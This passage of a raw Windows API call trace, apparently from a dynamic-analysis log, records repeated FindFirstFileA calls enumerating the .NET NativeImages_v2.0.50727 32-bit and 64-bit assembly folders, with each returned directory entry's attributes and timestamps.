lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClients#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x903f484b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc5be5a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc5be5a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.919] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationClients#\\56780b4bd164787631d4317d0556c3c0\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x903f484b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc5be5a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc5be5a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.925] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationProvider\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfca286ec, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xc5e4700, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc5e4700, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.930] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationProvider\\ab8ac659d9525c6a0cd22c6f3734862f\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfca286ec, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xc5e4700, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc5e4700, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.936] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationTypes\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcb591ee, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xc5e4700, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc5e4700, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.942] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\UIAutomationTypes\\6820836e29efa97200d3fcfb4d0f170b\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfcb591ee, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xc60a860, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc60a860, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.948] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsBase\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf67f7ab7, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xc60a860, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc60a860, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.953] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsBase\\cf293040f3a93afa1ea782487acae816\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf67f7ab7, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xc60a860, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc60a860, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.960] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsFormsIntegra#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90a5a376, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc6309c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc6309c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.966] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WindowsFormsIntegra#\\30b1d86571495ea86b9a19b13498aad3\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x90a5a376, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc6309c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc6309c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.974] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WsatConfig\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d7f31b3, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc656b20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc656b20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.982] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_32\\WsatConfig\\96a8bdafba9f9d3e33cd974bfaa67e58\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5d7f31b3, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc656b20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc656b20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0239.988] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3118c295, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xc67cc80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc67cc80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549790 [0239.994] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Accessibility\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f336dbd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc67cc80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc67cc80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0239.999] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Accessibility\\b03641c39929ad202f0c3a9a64b93d86\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f336dbd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc67cc80, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc67cc80, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.004] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\AuditPolicyGPManage#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5da50200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc6a2de0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc6a2de0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.009] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\AuditPolicyGPManage#\\ce8c100b866ac8facc1902286aede990\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5da50200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc6a2de0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc6a2de0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.014] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\BDATunePIA\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5df091c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc6a2de0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc6a2de0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.019] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\BDATunePIA\\13385391832b7c36af9306baeb570e57\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5df091c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc6c8f40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc6c8f40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.024] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ComSvcConfig\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc349298b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc6c8f40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc6c8f40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.030] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ComSvcConfig\\d632b7434f821829827657e23ac98589\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc349298b, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc6c8f40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc6c8f40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.035] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\CustomMarshalers\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe30ee793, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc6ef0a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc6ef0a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.043] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\CustomMarshalers\\e41fccd68a6543f2528f6f6118f5f7e2\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe30ee793, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc6ef0a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc6ef0a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.050] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\dfsvc\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe321f295, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc715200, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc715200, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.055] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\dfsvc\\9bc0d921859b039d6e9f642148333949\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe321f295, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xc715200, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc715200, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.061] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehCIR\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e05fe20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc715200, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc715200, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.069] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehCIR\\b648e07269decc9d5a2d8aeba1d48cbb\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e05fe20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc73b360, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc73b360, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.076] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehExtHost\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f12f980, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc73b360, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc73b360, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.082] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehExtHost\\ad37b6e3a1cb1081592f1c5797ae9dad\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f12f980, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc7614c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc7614c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.088] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiActivScp\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f389610, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xc7614c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc7614c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.093] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiActivScp\\ee22f412f6314443add3ca412afd6569\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f389610, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0xc7614c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc7614c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.100] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiBmlDataCarousel\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fa8f020, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc787620, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc787620, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.107] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiBmlDataCarousel\\99c61751c71078d92ff372495bc38fc3\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fa8f020, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc787620, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc787620, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.114] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiExtens\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f89fe40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc7ad780, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc7ad780, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.120] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiExtens\\d122f8c71cdd586e76d9617f80a0297f\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f89fe40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc7ad780, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc7ad780, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.125] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiiTv\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fc31f40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc7ad780, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc7ad780, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.131] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiiTv\\4a7ec1155d9e9e4b40889b171d16a577\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fc31f40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc7d38e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc7d38e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.137] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiProxy\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e0f83a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc7d38e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc7d38e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.143] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiProxy\\50691bdee045a2df00f00ac461844c5f\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e0f83a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc7f9a40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc7f9a40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0240.149] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiTVMSMusic\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ff77d80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc7f9a40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc7f9a40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0240.154] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiTVMSMusic\\32c163c5b3420fb95f4bc8b5a365a6bd\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ff77d80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xc7f9a40, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xc7f9a40, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", 